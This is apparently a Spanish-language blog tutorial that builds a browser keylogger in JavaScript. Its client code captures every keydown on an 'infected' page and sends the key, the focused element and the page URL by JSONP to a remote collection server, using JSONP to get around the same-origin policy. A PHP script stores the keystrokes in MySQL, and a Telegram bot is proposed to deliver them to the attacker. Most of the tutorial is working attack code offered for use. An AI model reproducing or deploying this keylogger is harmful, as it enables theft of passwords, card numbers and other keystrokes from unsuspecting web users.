Keylogger en Javascript

Javascript es un lenguaje de programación interpretado, dialecto del estándar ECMAScript.

Se utiliza comunmente en la programación web como lenguaje client-side para añadir mejoras en la interfaz de usuario, interactividad del usuario con la página, e incluso, para generar páginas web dinámicas. No obstante, tambien puede ser usado para distribuir malware y otro tipo de amenazas, para muestra, basta con realizar una búsqueda en Google con términos como: Javascript Monero minerJavascript Ransomware, Javascript Virus y similares.

En este tutorial voy a presentar como hacer un Keylogger ultra sencillo, pero antes de comenzar vamos a definir qué es un keylogger:

Keylogger

Programa generalmente oculto al usuario, que se encarga de registrar todas las pulsaciones de teclas. Puede ser usado por criminales para obtener números de tarjetas de crédito, usuarios, contraseñas y otra información sensible.

Keyloggers famosos:

  • Teclassss.exe
  • IKS Keylogger Sealth

Existe otro programa similar a un keylogger, me refiero al clicklogger. Este es un programa que se encarga de registrar capturas de pantalla cada vez que el usuario hace clic. Estos programas suelen poner la ubicación del mouse en la captura y si el clic fue con el botón izquierdo o derecho.

Caracteristicas del mini Keylogger-JS

Dada la naturaleza de la forma en que funcionará, tendremos algunas limitaciones:

  • Se ejecutará en los navegadores. No podremos capturar las teclas pulsadas fuera de la página que está visualizando el user.
  • Estará escrito en JS, así que requiere JS activado en el navegador.
  • Para que comience a funcionar tendremos que hacer que el usuario lo instale, para esto hay diferentes métodos que veremos más adelante.

Estructura del keylogger

La estructura de funcionamiento estará dividida en 3, la parte del cliente (javascript), la parte del servidor (PHP 5/MySQL) y un bot de Telegram que enviará los datos al atacante.

Parte del cliente (Javascript)

Esta es la parte que va a ejecutar la víctima. Para desarrollarla, vamos a ocupar una de las más grandes bondades de Javascript: la orientación a eventos con la que cuenta.

Eventos en JS

Como has de saber, un evento es una acción que realiza el usuario sobre un elemento del DOM. Puede ser, mover el mouse, hacer clic en un botón, enviar un formulario, etc. También hay eventos que no requieren la intervención del usuario, por ejemplo, cuando el navegador termina de cargar la página.

Para asociar un evento a una función existen diversas formas, las más usadas son: directamente en el elemento HTML con los atributos on* (p.e. onmouseover, onsubmit, onload, etc), y con el método  addEventListener.

Ejemplo 1: Asociar una función al evento change de un select:

<select name="myselect" id="myselect" onchange="doSomething(param)">
<!-- más HTML aquí -->

Ejemplo 2: Hacer lo mismo con el método addEventListener:

<select name="myselect" id="myselect">
<!-- más HTML aquí -->
entre script y /script:
document.getElementById('myselect').addEventListener("change", doSomething(param));

En el segundo ejemplo la función a llamar cuando se produce el evento puede ser una función anónima, algo similar a esto:

document.getElementById('myselect').addEventListener("change", function(e){ /*instrucciones aquí */ });

En Javascript hay por lo menos 3 eventos relacionados con la pulsación de teclas:

  • KeyDown: Sucede al presionar una tecla, cualquiera que esta sea.
  • KeyPress: Sucede al presionar una tecla, en realidad, cuando sucede, lo hace  inmediatamente despues de que ocurrió keyDown .
  • KeyUp: Sucede al soltar una tecla despues de presionarla.

Para entender la diferencia entre keyPress y keyDown resulta útil distinguir entre caracteres y teclas. Una tecla es un botón físico que está en el teclado de la computadora. Un caracter es un símbolo que se escribe cuando se presiona una tecla. Por ejemplo, en un teclado estándar de 101/102 teclas al presionar el numero 4 de la parte alfanumérica mientras se mantiene presionada la tecla <Shift> generalmente produce el caracter de un signo de moneda ($).  Aunque esto no puede ser así en todos los teclados.

En teoría, los eventos keydown y keyup ocurren cuando es presionada (keyDown) o soltada (keyUp) una tecla, mientras que keyPress ocurre cuando un caracter es escrito. En la práctica, no todos los navegadores lo implementan de esta forma.

Siguiendo con el ejemplo de <Shift + 4> la secuencia de eventos sería la siguiente:

  • keyDown (al presionar Shift)
  • keyDown (al presionar el 4)
  • keyPress (al presionar el 4 se escribió un caracter)
  • keyUp (soltar el 4)
  • keyUp (soltar Shift)

Secuencia de eventos al presionar SHIFT+4 (Probado en Yandex.Browser/18.2.0.234 (beta))

Lo que nos interesa es el evento keydown, ya que es el que registra más teclas y queremos que nuestro keylogger lo registre todo.

Obtener información de la tecla pulsada

Para obtener información de la tecla pulsada vamos a usar una función anónimaque se ejecutará cuando se produzca el evento keyDown dentro del objeto window. Esta función anónima tiene un parámetro e con información del evento producido, el cual le será pasado a otra función que se encargará de enviarlo.

window.onload=window.addEventListener("keydown",
   function (e) {
      console.log(e);
   }
);

Si colocamos el codigo anterior dentro de un archivo HTML, dentro de un bloque script y /script notaremos que al visualizar dicho archivo en el navegador y presionar cualquier tecla se mostrará en la consola información del evento producido.

Aquí se observa que presioné la H

Aqui solo queda escoger qué información enviaremos con cada pulsación. Yo he elegido la siguiente:

  • altKey: Falso si no estaba presionada ALT, verdadero si lo estaba.
  • ctrlKey: Falso si no estaba presionada CTRL, verdadero si lo estaba.
  • key: Tecla presionada
  • target.id: Elemento del DOM que tenía el enfoque cuando se presionó la tecla
  • target.baseURI: URL base del elemento DOM que tenía el enfoque cuando se presionó la tecla.

Enviar la información con AJAX

Para ahorrar tiempo vamos a hacerlo con jQuery. Recordemos que de algún u otro modo, el javascript con el keylogger debería de “infectar” la página que está viendo el usuario, así que para evitar errores lo primero que hacemos es asegurarnos de que jQuery está cargado en la misma.

 if((window.jQuery)){
   console.log('Chi');
 }else{
   console.log("Ño");
   var script = document.createElement('script');
   // Algunos sitios bloquean este comportamiento, ya investigo como evadirlo
   script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
   document.body.appendChild(script);
 }

Acto seguido declaramos una función c(d), donde el parámetro d será la pulsación de la tecla. Dicha función tendrá una llamada ajax al archivo PHP que recibe las pulsaciones. Notar que al llamar a $.ajax espero una respuesta en JSON, esto es nada más para probar el archivo PHP está recibiendo correctamente las pulsaciones, pero puede ser removida sin problemas.

 function c(d){
   jQuery.ajax({
      dataType: "jsonp", // jsonp para hacer bypass a la política de "mismo origen"
      type:"GET", // jsonp no funciona con POST :(
      url: "http://127.0.0.1/keys/capture.php", // reemplazar por tu server
      jsonp:"keypressed",
      data:{
         altKey:d.altKey?1:0,
         ctrlKey:d.ctrlKey?1:0,
         key:d.key,
         target:d.target.id,
         URI:d.target.baseURI
      },
      async:false,
      success: function(data){
         console.log(data); // para ver que vamos bien
      },
      error:function (xhr, ajaxOptions, thrownError){
         console.log("Error"); // para ver si vamos bien
      }
   }); 
 }

Bypass a politicas de seguridad

La parte del servidor estará escrita en PHP. Al igual que como hacemos en la parte del cliente, debemos asumir que de algún u otro modo, el javascript con el keylogger debería de “infectar” la página que está viendo el usuario, así que para evitar que los navegadores bloqueen la llamada a Ajax por cambios de protocolo (de https a http) el servidor requerirá un certificado emitido por una autoridad certificadora, dicho de otro modo, los certificados self-signed no nos sirven en esta ocasión.

La parte del servidor (PHP 5)

El script PHP que recibe las teclas, es quizá la parte más fácil del Keylogger. Lo unico que hay que hacer es obtener los valores enviados y meterlos en la base de datos. Algo similar a lo siguiente:

function f($str){
   return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8'))); 
}

$altKey=(int)$_GET['altKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$key=f($_GET['key']);
$target=f($_GET['target']);
$URI=f($_GET['URI']);

$hostname = "localhost"; // server
$database = "teckasss"; // base
$username = "user";
$password = 'pass';
$conn = mysql_connect($hostname, $username, $password) or die(); 
$sel=mysql_select_db($database,$conn) or die();
$q="INSERT INTO pulsasiones VALUES('".$altKey."', '".$ctrlKey."', '".$key."', '".$target."', '".$URI."';";
$res=mysql_query($q);
die($_GET['keypressed']."(".json_encode($_GET).")"); // Podemos quitar esta linea, era solo para ver si este archivo recibía bien las pulsaciones enviadas

La función f de este archivo se encarga de filtrar la cadena enviada para evitar que nuestro Keylogger sufra ataques XSS y/o SQL Injection (¿qué irónico no?).

Las valiables $altKey y $ctrlKey son casteadas a entero con el mismo propósito. De ahí en fuera no deberías de tener problema para determinar qué hace este archivo.

Bot de Telegram

Para obtener las teclas capturadas podemos hacer un bot de Telegram. Los bots de Telegram son relativamente fáciles de hacer, pero también requerimos un hosting con SSL.

Los bots de Telegram se comunican con el API de Telegram usando algo llamado Webhook, que es la URL de la aplicación Web que tendremos que desarrollar.

No voy a adentrar mucho en cómo se hace un bot de Telegram, (ni siquiera tengo un hosting con SSL para probarlo), pero la documentación oficial es un buen comienzo. (https://core.telegram.org/bots).

El bot de un banco ruso diciéndome los bancos cercanos al área de Moscú.

Integrándolo todo

Como es costumbre, voy a dejar los archivos de ejemplo en Github. Puedes descargarlos aquí.

Si te gustó y/o sirvió, considera realizar una donación. Con ello me ayudarás a continuar realizando nuevos proyectos.

  • Donar vía Paypal
  • Donar con BTC: 18mjrDBQShvN6cCdkkTmzwJMqdqMCrLoC1
  • Donar con BTC (opción 2): 3C2PAkh17xDvFfCREaNmRRgxyWijkYovwB
  • Donar con ETH: 0xe07f56439c70A0aceCEfDf6E560CC484bafE64fC
  • Donar con ETH (opción 2): 0x2eb00a33bd27ba903a4a526b958e774764a63289

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.